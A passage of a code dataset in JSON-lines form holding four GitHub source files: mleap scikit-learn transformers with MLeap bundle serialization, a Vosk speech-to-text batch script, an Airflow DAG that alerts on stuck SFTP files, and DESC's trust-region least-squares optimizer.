\"port\": \"output\"\n            }]\n          }\n        }\n        return js\n\n    def _serialize_to_bundle(self, path, model_name):\n\n        # If bundle path already exists, delte it and create a clean directory\n        if os.path.exists(\"{}/{}\".format(path, model_name)):\n            shutil.rmtree(\"{}/{}\".format(path, model_name))\n\n        model_dir = \"{}/{}\".format(path, model_name)\n        os.mkdir(model_dir)\n\n        # Write bundle file\n        with open(\"{}/{}\".format(model_dir, 'model.json'), 'w') as outfile:\n            json.dump(self.get_mleap_model(), outfile, indent=3)\n\n        # Write node file\n        with open(\"{}/{}\".format(model_dir, 'node.json'), 'w') as outfile:\n            json.dump(self.get_mleap_node(), outfile, indent=3)\n\n\nclass ToDense(BaseEstimator, TransformerMixin):\n    def __init__(self, input_features):\n        self.op = 'dense_transformer'\n        self.name = \"{}_{}\".format(self.op, uuid.uuid1())\n        self.input_features = input_features\n        self.output_features = input_features\n\n    def transform(self, X, **params):\n        return X.todense()\n\n    def fit(self, df, y=None, **fit_params):\n        return self\n\n    def fit_transform(self, X, y=None, **fit_params):\n        return self.transform(X)\n\n    def get_mleap_model(self):\n        js = {\n          \"op\": self.op\n        }\n        return js\n\n    def get_mleap_node(self):\n        js = {\n          \"name\": self.name,\n          \"shape\": {\n            \"inputs\": {'name': self.input_features, 'port': 'input0'},\n            \"outputs\": [{\n              \"name\": self.output_features,\n              \"port\": \"output\"\n            }]\n          }\n        }\n        return js\n\n    def _serialize_to_bundle(self, path, model_name):\n        # If bundle path already exists, delte it and create a clean directory\n        if os.path.exists(\"{}/{}\".format(path, model_name)):\n            shutil.rmtree(\"{}/{}\".format(path, model_name))\n\n        model_dir = \"{}/{}\".format(path, model_name)\n        os.mkdir(model_dir)\n\n        # Write bundle file\n        with open(\"{}/{}\".format(model_dir, 'model.json'), 'w') as outfile:\n            json.dump(self.get_mleap_model(), outfile, indent=3)\n\n        # Write node file\n        with open(\"{}/{}\".format(model_dir, 'node.json'), 'w') as outfile:\n            json.dump(self.get_mleap_node(), outfile, indent=3)\n\n\nclass MathUnary(BaseEstimator, TransformerMixin, MLeapSerializer, MLeapDeserializer):\n    \"\"\"\n    Performs basic math operations on a single feature (column of a DataFrame). Supported operations include:\n        - log\n        - exp\n        - sqrt\n        - sin\n        - cos\n        - tan\n    Note, currently we only support 1d-arrays.\n    Inputs need to be floats.\n    \"\"\"\n    def __init__(self, input_features=None, output_features=None, transform_type=None):\n        self.valid_transforms = ['log', 'exp', 'sqrt', 'sin', 'cos', 'tan', 'abs']\n        self.op = 'math_unary'\n        self.name = \"{}_{}\".format(self.op, uuid.uuid4())\n        self.input_features = input_features\n        self.output_features = output_features\n        self.transform_type = transform_type\n        self.serializable = True\n\n    def fit(self, X, y=None, **fit_params):\n        \"\"\"\n        Fit Unary Math Operator\n        :param X:\n        :return:\n        \"\"\"\n        X = column_or_1d(X, warn=True)\n        if self.transform_type not in self.valid_transforms:\n                warnings.warn(\"Invalid transform type.\", stacklevel=2)\n        return self\n\n    def transform(self, y):\n        \"\"\"\n        Transform features per specified math function.\n        :param y:\n        :return:\n        \"\"\"\n        if self.transform_type == 'log':\n            return np.log(y)\n        elif self.transform_type == 'exp':\n            return np.exp(y)\n        elif self.transform_type == 'sqrt':\n            return np.sqrt(y)\n        elif self.transform_type == 'sin':\n            return np.sin(y)\n        elif self.transform_type == 'cos':\n            return np.cos(y)\n        elif self.transform_type == 'tan':\n            return np.tan(y)\n        elif self.transform_type == 'abs':\n             return np.abs(y)\n\n    def fit_transform(self, X, y=None, **fit_params):\n        \"\"\"\n        Transform data per specified math function.\n        :param X:\n        :param y:\n        :param fit_params:\n        :return:\n        \"\"\"\n        self.fit(X)\n\n        return self.transform(X)\n\n    def serialize_to_bundle(self, path, model_name):\n\n        # compile tuples of model attributes to serialize\n        attributes = list()\n        attributes.append(('operation', self.transform_type))\n\n        # define node inputs and outputs\n        inputs = [{\n                  \"name\": self.input_features[0],\n                  \"port\": \"input\"\n                }]\n\n        outputs = [{\n                  \"name\": self.output_features,\n                  \"port\": \"output\"\n                }]\n\n        self.serialize(self, path, model_name, attributes, inputs, outputs)\n\n    def deserialize_from_bundle(self, node_path, node_name):\n        attributes_map = {\n            'operation': 'transform_type'\n        }\n        full_node_path = os.path.join(node_path, node_name)\n        transformer = self.deserialize_single_input_output(self, full_node_path, attributes_map)\n        return transformer\n\n\nclass MathBinary(BaseEstimator, TransformerMixin, MLeapSerializer, MLeapDeserializer):\n    \"\"\"\n    Performs basic math operations on two features (columns of a DataFrame). Supported operations include:\n        - add: Add x + y\n        - sub: Subtract x - y\n        - mul: Multiply x * y\n        - div: Divide x / y\n        - rem: Remainder x % y\n        - logn: LogN log(x) / log(y)\n        - pow: Power x^y\n    These transforms work on 2-dimensional arrays/vectors, where the the first column is x and second column is y.\n    Inputs need to be floats.\n    \"\"\"\n    def __init__(self, input_features=None, output_features=None, transform_type=None):\n        self.valid_transforms = ['add', 'sub', 'mul', 'div', 'rem', 'logn', 'pow']\n        self.op = 'math_binary'\n        self.name = \"{}_{}\".format(self.op, uuid.uuid4())\n        self.input_features = input_features\n        self.output_features = output_features\n        self.transform_type = transform_type\n        self.serializable = True\n\n    def _return(self, y):\n        if type(y, np.ndarray):\n            return\n\n    def fit(self, X, y=None, **fit_params):\n        \"\"\"\n        Fit Unary Math Operator\n        :param y:\n        :return:\n        \"\"\"\n        if self.transform_type not in self.valid_transforms:\n                warnings.warn(\"Invalid transform type.\", stacklevel=2)\n        return self\n\n    def transform(self, y):\n        \"\"\"\n        Transform features per specified math function.\n        :param y:\n        :return:\n        \"\"\"\n        if isinstance(y, pd.DataFrame):\n            x = y.iloc[:,0]\n            y = y.iloc[:,1]\n        else:\n            x = y[:,0]\n            y = y[:,1]\n        if self.transform_type == 'add':\n            return pd.DataFrame(np.add(x, y), columns=[self.output_features])\n        elif self.transform_type == 'sub':\n            return pd.DataFrame(np.subtract(x, y), columns=[self.output_features])\n        elif self.transform_type == 'mul':\n            return pd.DataFrame(np.multiply(x, y), columns=[self.output_features])\n        elif self.transform_type == 'div':\n            return pd.DataFrame(np.divide(x, y), columns=[self.output_features])\n        elif self.transform_type == 'rem':\n            return pd.DataFrame(np.remainder(x, y), columns=[self.output_features])\n        elif self.transform_type == 'pow':\n            return pd.DataFrame(x**y, columns=[self.output_features])\n\n    def fit_transform(self, X, y=None, **fit_params):\n        \"\"\"\n        Transform data per specified math function.\n        :param X:\n        :param y:\n        :param fit_params:\n        :return:\n        \"\"\"\n        self.fit(X)\n\n        return self.transform(X)\n\n    def serialize_to_bundle(self, path, model_name):\n\n        # compile tuples of model attributes to serialize\n        attributes = list()\n        attributes.append(('operation', self.transform_type))\n\n        # define node inputs and outputs\n        inputs = [{\n                  \"name\": self.input_features[0],\n                  \"port\": \"input_a\"\n                },\n                {\n                    \"name\": self.input_features[1],\n                    \"port\": \"input_b\"\n                }]\n\n        outputs = [{\n                  \"name\": self.output_features,\n                  \"port\": \"output\"\n                }]\n\n        self.serialize(self, path, model_name, attributes, inputs, outputs)\n\n    def deserialize_from_bundle(self, node_path, node_name):\n        attributes_map = {\n            'operation': 'transform_type'\n        }\n        full_node_path = os.path.join(node_path, node_name)\n        transformer = self.deserialize_single_input_output(self, full_node_path, attributes_map)\n        return transformer\n\nclass StringMap(BaseEstimator, TransformerMixin, MLeapSerializer, MLeapDeserializer):\n\n    def __init__(self, input_features=None, output_features=None, labels=None):\n        self.op = 'string_map'\n        self.name = \"{}_{}\".format(self.op, uuid.uuid4())\n        self.input_features = input_features\n        self.output_features = output_features\n        self.serializable = True\n        self.labels = labels\n        if labels is not None:\n            if not isinstance(self.labels, OrderedDict):\n                self.labels = OrderedDict(\n                    sorted(self.labels.items(), key=lambda x: x[0])\n                )\n            self.label_keys = self.labels.keys\n            self.label_values = self.labels.values\n\n    def fit(self, X, y=None, **fit_params):\n        if self.labels is None:\n            self.labels = dict(zip(self.label_keys, self.label_values))\n        return self\n\n    def transform(self, y):\n       return y.applymap(lambda input : self.labels[input]).values\n\n    def fit_transform(self, X, y=None, **fit_params):\n        self.fit(X)\n        return self.transform(X)\n\n    def serialize_to_bundle(self, path, model_name):\n        # compile tuples of model attributes to serialize\n        attributes = list()\n        attributes.append((\"labels\", list(self.labels.keys())))\n        attributes.append((\"values\", Vector(list(self.labels.values()))))\n\n        # define node inputs and outputs\n        inputs = [{\n            \"name\": self.input_features[0],\n            \"port\": \"input\"\n        }]\n\n        outputs = [{\n            \"name\": self.output_features,\n            \"port\": \"output\"\n        }]\n\n        self.serialize(self, path, model_name, attributes, inputs, outputs)\n\n    def deserialize_from_bundle(self, node_path, node_name):\n        attributes_map = {\n            'labels': 'label_keys',\n            'values': 'label_values'\n        }\n\n        full_node_path = os.path.join(node_path, node_name)\n        transformer = self.deserialize_single_input_output(self, full_node_path, attributes_map)\n        return transformer\n","repo_name":"combust/mleap","sub_path":"python/mleap/sklearn/preprocessing/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":39979,"program_lang":"python","lang":"en","doc_type":"code","stars":1481,"dataset":"github-code","pt":"47"}
{"seq_id":"26972604190","text":"import speech_recognition as sr\r\nfrom pydub import AudioSegment\r\nimport os\r\nimport math\r\nimport sys\r\n\r\n# directory where the audio files are\r\nroot = \"C:/Users/awalker/Downloads/reduced\"\r\nif sys.argv.count > 1 :\r\n   root = sys.argv[1]\r\nif not os.path.exists(root) or not os.path.isdir(root):\r\n   print('Could not open containing folder')\r\n   exit()\r\nfiles = os.listdir(root)\r\n\r\n# open output file\r\naudio_text = open('audio_text.txt', 'w+')\r\n\r\n# write header\r\naudio_text.write('Speech to text:\\n\\n')\r\n\r\nfile_index = 1\r\n\r\n# create speech recognizer\r\nrecognizer = sr.Recognizer()\r\n\r\n# go through each file in audio dir\r\nfor file in files :\r\n   # write which file it is\r\n   audio_text.write(\"File \" + str(file_index) + \":\\n\")\r\n\r\n   # get file name\r\n   file_name = root + '/' + file\r\n\r\n   audio = AudioSegment.from_file(file_name, format='wav')\r\n\r\n   # length of the audio in milliseconds\r\n   audio_length = len(audio)\r\n   print(f'Audio Length: {audio_length}')\r\n\r\n   split_size = 6000\r\n\r\n   # get number of 8 second chunks\r\n   chunk_count = len(audio) / split_size\r\n   chunk_count = math.ceil(chunk_count)\r\n\r\n   for i in range(0, chunk_count) :\r\n      # get start and end, use that to get current chunk\r\n      start = split_size*i\r\n      end = split_size + split_size * i if i != chunk_count - 1 else len(audio)\r\n      chunk = audio[start:end]\r\n\r\n      # chunk name\r\n      chunk_name = f'chunk_{i}'\r\n      # storing the chunk to local storage\r\n      chunk.export(chunk_name, format = 'wav')\r\n      # printing the chunk\r\n      print(f'{chunk_name} start: {start} end: {end}')\r\n      \r\n      # creating a listened audio\r\n      with sr.AudioFile(chunk_name) as chunk_audio:\r\n         chunk_listened = recognizer.listen(chunk_audio)\r\n         \r\n      # recognizing content from the audio\r\n      try:\r\n         # getting content from the chunk\r\n         content = recognizer.recognize_vosk(chunk_listened)\r\n\r\n         # writing to the file, removes the premade vosk format\r\n         audio_text.write(content[14:-3] + ' ')\r\n      # if not recognized\r\n      except sr.UnknownValueError:\r\n         print('Audio is not recognized')\r\n      # request error if incorrectly setup\r\n      except sr.RequestError as Error:\r\n         print('Request Error')\r\n\r\n   # write next line for next file\r\n   audio_text.write('\\n')\r\n   file_index += 1\r\naudio_text.close()","repo_name":"aidenwalker1/Audio-Analysis","sub_path":"audio_analysis.py","file_name":"audio_analysis.py","file_ext":"py","file_size_in_byte":2339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"22578147559","text":"from airflow                   import configuration, DAG\nfrom airflow.operators.python  import BranchPythonOperator\nfrom airflow.operators.dummy   import DummyOperator\nfrom airflow.models            import Variable\nfrom airflow.utils.task_group  import TaskGroup\nfrom utils.dag_notification    import *\n\nfrom airflow.providers.ssh.hooks.ssh    import *\n\nimport datetime as dt\nimport logging\n\n######### VARIABLES ###########\n\nlog       = logging.getLogger(__name__)\npath      = configuration.get('core','dags_folder')\nMAIN_PATH = path + \"/../data\"\n\nMAIN_FOLDER = [\"ODP\", \"B2S\"]\nSUB_FOLDER  = [\"POS\"]\n\n###############################\n\ndef _list_file(ti, hookname, mainfolder, subfolder, tablename):\n    SSH_HOOK  = SSHHook(\n        ssh_conn_id = hookname,\n        banner_timeout = 120,\n        conn_timeout   = 120,\n        keepalive_interval = 15\n    )\n\n    with SSH_HOOK.get_conn() as ssh_client:\n        SFTP_HOOK = ssh_client.open_sftp()\n        file_list = SFTP_HOOK.listdir(f\"/{subfolder}/outbound/{tablename}/\")\n        SFTP_HOOK.close()\n\n    if file_list == [ 'archive' ]:\n        return f\"no_alert_{mainfolder}_{subfolder}_{tablename}\"\n    else:\n        file_list.remove('archive')\n        ti.xcom_push(key='stuck_files', value=file_list)\n        ti.xcom_push(key='sftp_path', value=f\"/{subfolder}/outbound/{tablename}/\")\n        return f\"send_alert_{mainfolder}_{subfolder}_{tablename}\"\n\nwith DAG(\n    dag_id=\"check_sftp_files\",\n    # schedule_interval=None,\n    schedule_interval=\"59 23 * * *\",\n    start_date=dt.datetime(2022, 7, 7),\n    catchup=True,\n    max_active_runs=1,\n    tags=['convz', 'production', 'mario', 'alert', 'sftp'],\n    description='Alert for stuck files on SFTP server',\n    render_template_as_native_obj=True,\n    default_args={\n        'on_failure_callback': ofm_task_fail_slack_alert,\n        'retries': 0\n    }\n) as dag:\n\n    start_task = DummyOperator(task_id = \"start_task\")\n    end_task   = DummyOperator(task_id = \"end_task\", trigger_rule='none_failed')\n\n    iterable_sources_list = Variable.get(\n        key=f'sftp_alert',\n        deserialize_json=True\n    )\n    # iterable_sources_list = {\n    #     \"ODP_JDA\": [\"BCH_JDA_DataPlatform_APADDR\"],\n    #     \"B2S_JDA\": [\"BCH_JDA_DataPlatform_APADDR\"],\n    #     \"ODP_POS\": [\"POS_DataPlatform_Txn_Translator\"],\n    #     \"B2S_POS\": [\"POS_DataPlatform_Txn_Translator\"]\n    # }\n\n    with TaskGroup(\n        f'load_{SUB_FOLDER[0]}_tasks_group',\n        prefix_group_id=False,\n    ) as load_source_tasks_group:\n\n        for source in MAIN_FOLDER:\n\n            if source == \"ODP\": source = \"OFM\"\n            HOOK_NAME   = f\"sftp-{source.lower()}-connection-id\"\n            if source == \"OFM\": source = \"ODP\"\n\n            for subsource in SUB_FOLDER:\n\n                start_source = DummyOperator(task_id = f\"start_{source}_{subsource}\")\n\n                with TaskGroup(\n                    f'load_{source}_{subsource}_tasks_group',\n                    prefix_group_id=False,\n                ) as load_tables_tasks_group:\n\n                    for table in iterable_sources_list.get(f\"{source}_{subsource}\"):\n\n                        TABLE_ID = f'{table}'\n\n                        list_file = BranchPythonOperator(\n                            task_id=f'list_file_{source}_{subsource}_{table}',\n                            python_callable=_list_file,\n                            pool='sftp_connect_pool',\n                            op_kwargs = {\n                                'hookname'  : HOOK_NAME,\n                                'mainfolder': source,\n                                'subfolder' : subsource,\n                                'tablename' : table\n                            }\n                        )\n\n                        send_alert = DummyOperator(\n                            task_id =f\"send_alert_{source}_{subsource}_{table}\",\n                            on_success_callback = ofm_stuck_sftp_file_slack_alert                        \n                        )\n\n                        no_alert = DummyOperator(task_id =f\"no_alert_{source}_{subsource}_{table}\")\n\n                        list_file >> [ send_alert, no_alert ]\n\n                start_source >> load_tables_tasks_group\n\n    start_task >> load_source_tasks_group >> end_task","repo_name":"puunyapat-convz/puunyapat-convz","sub_path":"sftp2gcs2gbq/check_sftp_files.py","file_name":"check_sftp_files.py","file_ext":"py","file_size_in_byte":4241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"6451974228","text":"\"\"\"Function for solving nonlinear least squares problems.\"\"\"\n\nfrom scipy.optimize import OptimizeResult\n\nfrom desc.backend import jnp\nfrom desc.utils import errorif, setdefault\n\nfrom .bound_utils import (\n    cl_scaling_vector,\n    find_active_constraints,\n    in_bounds,\n    make_strictly_feasible,\n    select_step,\n)\nfrom .tr_subproblems import (\n    trust_region_step_exact_cho,\n    trust_region_step_exact_svd,\n    update_tr_radius,\n)\nfrom .utils import (\n    STATUS_MESSAGES,\n    check_termination,\n    compute_jac_scale,\n    print_header_nonlinear,\n    print_iteration_nonlinear,\n)\n\n\ndef lsqtr(  # noqa: C901 - FIXME: simplify this\n    fun,\n    x0,\n    jac,\n    bounds=(-jnp.inf, jnp.inf),\n    args=(),\n    x_scale=\"jac\",\n    ftol=1e-6,\n    xtol=1e-6,\n    gtol=1e-6,\n    verbose=1,\n    maxiter=None,\n    callback=None,\n    options=None,\n):\n    \"\"\"Solve a least squares problem using a (quasi)-Newton trust region method.\n\n    Parameters\n    ----------\n    fun : callable\n        objective to be minimized. Should have a signature like fun(x,*args)-> 1d array\n    x0 : array-like\n        initial guess\n    jac : callable:\n        function to compute Jacobian matrix of fun\n    bounds : tuple of array-like\n        Lower and upper bounds on independent variables. Defaults to no bounds.\n        Each array must match the size of x0 or be a scalar, in the latter case a\n        bound will be the same for all variables. Use np.inf with an appropriate sign\n        to disable bounds on all or some variables.\n    args : tuple\n        additional arguments passed to fun, grad, and jac\n    x_scale : array_like or ``'jac'``, optional\n        Characteristic scale of each variable. Setting ``x_scale`` is equivalent\n        to reformulating the problem in scaled variables ``xs = x / x_scale``.\n        An alternative view is that the size of a trust region along jth\n        dimension is proportional to ``x_scale[j]``. Improved convergence may\n        be achieved by setting ``x_scale`` such that a step of a given size\n        along any of the scaled variables has a similar effect on the cost\n        function. If set to ``'jac'``, the scale is iteratively updated using the\n        inverse norms of the columns of the Jacobian matrix.\n    ftol : float or None, optional\n        Tolerance for termination by the change of the cost function.\n        The optimization process is stopped when ``dF < ftol * F``,\n        and there was an adequate agreement between a local quadratic model and\n        the true model in the last step. If None, the termination by this\n        condition is disabled.\n    xtol : float or None, optional\n        Tolerance for termination by the change of the independent variables.\n        Optimization is stopped when ``norm(dx) < xtol * (xtol + norm(x))``.\n        If None, the termination by this condition is disabled.\n    gtol : float or None, optional\n        Absolute tolerance for termination by the norm of the gradient.\n        Optimizer terminates when ``max(abs(g)) < gtol``.\n        If None, the termination by this condition is disabled.\n    verbose : {0, 1, 2}, optional\n        * 0 : work silently.\n        * 1 (default) : display a termination report.\n        * 2 : display progress during iterations\n    maxiter : int, optional\n        maximum number of iterations. Defaults to size(x)*100\n    callback : callable, optional\n        Called after each iteration. Should be a callable with\n        the signature:\n\n            ``callback(xk, *args) -> bool``\n\n        where ``xk`` is the current parameter vector, and ``args``\n        are the same arguments passed to fun and jac. If callback returns True\n        the algorithm execution is terminated.\n    options : dict, optional\n        dictionary of optional keyword arguments to override default solver settings.\n\n        - ``\"max_nfev\"`` : (int > 0) Maximum number of function evaluations (each\n          iteration may take more than one function evaluation). Default is\n          ``5*maxiter+1``\n        - ``\"max_dx\"`` : (float > 0) Maximum allowed change in the norm of x from its\n          starting point. Default np.inf.\n        - ``\"initial_trust_radius\"`` : (``\"scipy\"``, ``\"conngould\"``, ``\"mix\"`` or\n          float > 0) Initial trust region radius. ``\"scipy\"`` uses the scaled norm of\n          x0, which is the default behavior in ``scipy.optimize.least_squares``.\n          ``\"conngould\"`` uses the norm of the Cauchy point, as recommended in ch17\n          of [1]_. ``\"mix\"`` uses the geometric mean of the previous two options. A\n          float can also be passed to specify the trust radius directly.\n          Default is ``\"scipy\"``.\n        - ``\"initial_trust_ratio\"`` : (float > 0) A extra scaling factor that is\n          applied after one of the previous heuristics to determine the initial trust\n          radius. Default 1.\n        - ``\"max_trust_radius\"`` : (float > 0) Maximum allowable trust region radius.\n          Default ``np.inf``.\n        - ``\"min_trust_radius\"`` : (float >= 0) Minimum allowable trust region radius.\n          Optimization is terminated if the trust region falls below this value.\n          Default ``np.finfo(x0.dtype).eps``.\n        - ``\"tr_increase_threshold\"`` : (0 < float < 1) Increase the trust region\n          radius when the ratio of actual to predicted reduction exceeds this threshold.\n          Default 0.75.\n        - ``\"tr_decrease_threshold\"`` : (0 < float < 1) Decrease the trust region\n          radius when the ratio of actual to predicted reduction is less than this\n          threshold. Default 0.25.\n        - ``\"tr_increase_ratio\"`` : (float > 1) Factor to increase the trust region\n          radius by when  the ratio of actual to predicted reduction exceeds threshold.\n          Default 2.\n        - ``\"tr_decrease_ratio\"`` : (0 < float < 1) Factor to decrease the trust region\n          radius by when  the ratio of actual to predicted reduction falls below\n          threshold. Default 0.25.\n        - ``\"tr_method\"`` : ``\"svd\"``, ``\"cho\"``) Method to use for solving the trust\n          region subproblem. ``\"cho\"`` uses a sequence of cholesky factorizations\n          (generally 2-3), while ``\"svd\"`` uses one singular value decomposition.\n          ``\"cho\"`` is generally faster for large systems, especially on GPU, but may\n          be less accurate for badly scaled systems. Default ``\"svd\"``\n\n    Returns\n    -------\n    res : OptimizeResult\n        The optimization result represented as a ``OptimizeResult`` object.\n        Important attributes are: ``x`` the solution array, ``success`` a\n        Boolean flag indicating if the optimizer exited successfully and\n        ``message`` which describes the cause of the termination. See\n        ``OptimizeResult`` for a description of other attributes.\n\n    References\n    ----------\n    .. [1] Conn, Andrew, and Gould, Nicholas, and Toint, Philippe. \"Trust-region\n           methods\" (2000).\n\n    \"\"\"\n    options = {} if options is None else options\n    errorif(\n        isinstance(x_scale, str) and x_scale not in [\"jac\", \"auto\"],\n        ValueError,\n        \"x_scale should be one of 'jac', 'auto' or array-like, got {}\".format(x_scale),\n    )\n\n    nfev = 0\n    njev = 0\n    iteration = 0\n\n    n = x0.size\n    x = x0.copy()\n    lb, ub = jnp.broadcast_to(bounds[0], x.size), jnp.broadcast_to(bounds[1], x.size)\n    bounded = jnp.any(lb != -jnp.inf) | jnp.any(ub != jnp.inf)\n    assert in_bounds(x, lb, ub), \"x0 is infeasible\"\n    x = make_strictly_feasible(x, lb, ub)\n\n    f = fun(x, *args)\n    nfev += 1\n    cost = 0.5 * jnp.dot(f, f)\n    J = jac(x, *args)\n    njev += 1\n    g = jnp.dot(J.T, f)\n\n    maxiter = setdefault(maxiter, n * 100)\n    max_nfev = options.pop(\"max_nfev\", 5 * maxiter + 1)\n    max_dx = options.pop(\"max_dx\", jnp.inf)\n\n    jac_scale = isinstance(x_scale, str) and x_scale in [\"jac\", \"auto\"]\n    if jac_scale:\n        scale, scale_inv = compute_jac_scale(J)\n    else:\n        x_scale = jnp.broadcast_to(x_scale, x.shape)\n        scale, scale_inv = x_scale, 1 / x_scale\n\n    v, dv = cl_scaling_vector(x, g, lb, ub)\n    v = jnp.where(dv != 0, v * scale_inv, v)\n    d = v**0.5 * scale\n    diag_h = g * dv * scale\n\n    g_h = g * d\n    J_h = J * d\n    g_norm = jnp.linalg.norm(g * v, ord=jnp.inf)\n\n    # conngould : norm of the cauchy point, as recommended in ch17 of Conn & Gould\n    # scipy : norm of the scaled x, as used in scipy\n    # mix : geometric mean of conngould and scipy\n    init_tr = {\n        \"scipy\": jnp.linalg.norm(x * scale_inv / v**0.5),\n        \"conngould\": jnp.sum(g_h**2) / jnp.sum((J_h @ g_h) ** 2),\n        \"mix\": jnp.sqrt(\n            jnp.sum(g_h**2)\n            / jnp.sum((J_h @ g_h) ** 2)\n            * jnp.linalg.norm(x * scale_inv / v**0.5)\n        ),\n    }\n    trust_radius = options.pop(\"initial_trust_radius\", \"scipy\")\n    tr_ratio = options.pop(\"initial_trust_ratio\", 1.0)\n    trust_radius = init_tr.get(trust_radius, trust_radius)\n    trust_radius *= tr_ratio\n    trust_radius = trust_radius if (trust_radius > 0) else 1.0\n\n    max_trust_radius = options.pop(\"max_trust_radius\", jnp.inf)\n    min_trust_radius = options.pop(\"min_trust_radius\", jnp.finfo(x0.dtype).eps)\n    tr_increase_threshold = options.pop(\"tr_increase_threshold\", 0.75)\n    tr_decrease_threshold = options.pop(\"tr_decrease_threshold\", 0.25)\n    tr_increase_ratio = options.pop(\"tr_increase_ratio\", 2)\n    tr_decrease_ratio = options.pop(\"tr_decrease_ratio\", 0.25)\n    tr_method = options.pop(\"tr_method\", \"svd\")\n\n    errorif(\n        len(options) > 0,\n        ValueError,\n        \"Unknown options: {}\".format([key for key in options]),\n    )\n    errorif(\n        tr_method not in [\"cho\", \"svd\"],\n        ValueError,\n        \"tr_method should be one of 'cho', 'svd', got {}\".format(tr_method),\n    )\n\n    callback = setdefault(callback, lambda *args: False)\n\n    x_norm = jnp.linalg.norm(x, ord=2)\n    success = None\n    message = None\n    step_norm = jnp.inf\n    actual_reduction = jnp.inf\n    reduction_ratio = 0\n\n    if verbose > 1:\n        print_header_nonlinear()\n        print_iteration_nonlinear(\n            iteration, nfev, cost, actual_reduction, step_norm, g_norm\n        )\n\n    allx = [x]\n    alltr = [trust_radius]\n    if g_norm < gtol:\n        success, message = True, STATUS_MESSAGES[\"gtol\"]\n\n    alpha = 0  # \"Levenberg-Marquardt\" parameter\n\n    while iteration < maxiter and success is None:\n\n        # we don't want to factorize the extra stuff if we don't need to\n        J_a = jnp.vstack([J_h, jnp.diag(diag_h**0.5)]) if bounded else J_h\n        f_a = jnp.concatenate([f, jnp.zeros(diag_h.size)]) if bounded else f\n\n        if tr_method == \"svd\":\n            U, s, Vt = jnp.linalg.svd(J_a, full_matrices=False)\n        elif tr_method == \"cho\":\n            B_h = jnp.dot(J_a.T, J_a)\n\n        actual_reduction = -1\n\n        # theta controls step back step ratio from the bounds.\n        theta = max(0.995, 1 - g_norm)\n\n        while actual_reduction <= 0 and nfev <= max_nfev:\n            # Solve the sub-problem.\n            # This gives us the proposed step relative to the current position\n            # and it tells us whether the proposed step\n            # has reached the trust region boundary or not.\n            if tr_method == \"svd\":\n                step_h, hits_boundary, alpha = trust_region_step_exact_svd(\n                    f_a, U, s, Vt.T, trust_radius, alpha\n                )\n            elif tr_method == \"cho\":\n                step_h, hits_boundary, alpha = trust_region_step_exact_cho(\n                    g_h, B_h, trust_radius, alpha\n                )\n            step = d * step_h  # Trust-region solution in the original space.\n\n            step, step_h, predicted_reduction = select_step(\n                x,\n                J_h,\n                diag_h,\n                g_h,\n                step,\n                step_h,\n                d,\n                trust_radius,\n                lb,\n                ub,\n                theta,\n                mode=\"jac\",\n            )\n\n            step_h_norm = jnp.linalg.norm(step_h, ord=2)\n            step_norm = jnp.linalg.norm(step, ord=2)\n\n            x_new = make_strictly_feasible(x + step, lb, ub, rstep=0)\n            f_new = fun(x_new, *args)\n            nfev += 1\n\n            cost_new = 0.5 * jnp.dot(f_new, f_new)\n            actual_reduction = cost - cost_new\n\n            # update the trust radius according to the actual/predicted ratio\n            tr_old = trust_radius\n            trust_radius, reduction_ratio = update_tr_radius(\n                trust_radius,\n                actual_reduction,\n                predicted_reduction,\n                step_h_norm,\n                hits_boundary,\n                max_trust_radius,\n                tr_increase_threshold,\n                tr_increase_ratio,\n                tr_decrease_threshold,\n                tr_decrease_ratio,\n            )\n            alltr.append(trust_radius)\n            alpha *= tr_old / trust_radius\n            # TODO: does this need to move to the outer loop?\n            success, message = check_termination(\n                actual_reduction,\n                cost,\n                step_norm,\n                x_norm,\n                g_norm,\n                reduction_ratio,\n                ftol,\n                xtol,\n                gtol,\n                iteration,\n                maxiter,\n                nfev,\n                max_nfev,\n                min_trust_radius=min_trust_radius,\n                dx_total=jnp.linalg.norm(x - x0),\n                max_dx=max_dx,\n            )\n            if success is not None:\n                break\n\n        # if reduction was enough, accept the step\n        if actual_reduction > 0:\n            x = x_new\n            allx.append(x)\n            f = f_new\n            cost = cost_new\n            J = jac(x, *args)\n            njev += 1\n            g = jnp.dot(J.T, f)\n\n            if jac_scale:\n                scale, scale_inv = compute_jac_scale(J, scale_inv)\n\n            v, dv = cl_scaling_vector(x, g, lb, ub)\n            v = jnp.where(dv != 0, v * scale_inv, v)\n            d = v**0.5 * scale\n            diag_h = g * dv * scale\n\n            g_h = g * d\n            J_h = J * d\n            x_norm = jnp.linalg.norm(x, ord=2)\n            g_norm = jnp.linalg.norm(g * v, ord=jnp.inf)\n\n            if g_norm < gtol:\n                success, message = True, STATUS_MESSAGES[\"gtol\"]\n\n            if callback(jnp.copy(x), *args):\n                success, message = False, STATUS_MESSAGES[\"callback\"]\n\n        else:\n            step_norm = actual_reduction = 0\n\n        iteration += 1\n        if verbose > 1:\n            print_iteration_nonlinear(\n                iteration, nfev, cost, actual_reduction, step_norm, g_norm\n            )\n\n    if g_norm < gtol:\n        success, message = True, STATUS_MESSAGES[\"gtol\"]\n    if (iteration == maxiter) and success is None:\n        success, message = False, STATUS_MESSAGES[\"maxiter\"]\n    active_mask = find_active_constraints(x, lb, ub, rtol=xtol)\n    result = OptimizeResult(\n        x=x,\n        success=success,\n        cost=cost,\n        fun=f,\n        grad=g,\n        v=v,\n        jac=J,\n        optimality=g_norm,\n        nfev=nfev,\n        njev=njev,\n        nit=iteration,\n        message=message,\n        active_mask=active_mask,\n        allx=allx,\n        alltr=alltr,\n    )\n    if verbose > 0:\n        if result[\"success\"]:\n            print(result[\"message\"])\n        else:\n            print(\"Warning: \" + result[\"message\"])\n        print(\"         Current function value: {:.3e}\".format(result[\"cost\"]))\n        print(\n            \"         Total delta_x: {:.3e}\".format(jnp.linalg.norm(x0 - result[\"x\"]))\n        )\n        print(\"         Iterations: {:d}\".format(result[\"nit\"]))\n        print(\"         Function evaluations: {:d}\".format(result[\"nfev\"]))\n        print(\"         Jacobian evaluations: {:d}\".format(result[\"njev\"]))\n\n    return result\n","repo_name":"PlasmaControl/DESC","sub_path":"desc/optimize/least_squares.py","file_name":"least_squares.py","file_ext":"py","file_size_in_byte":15879,"program_lang":"python","lang":"en","doc_type":"code","stars":53,"dataset":"github-code","pt":"47"}
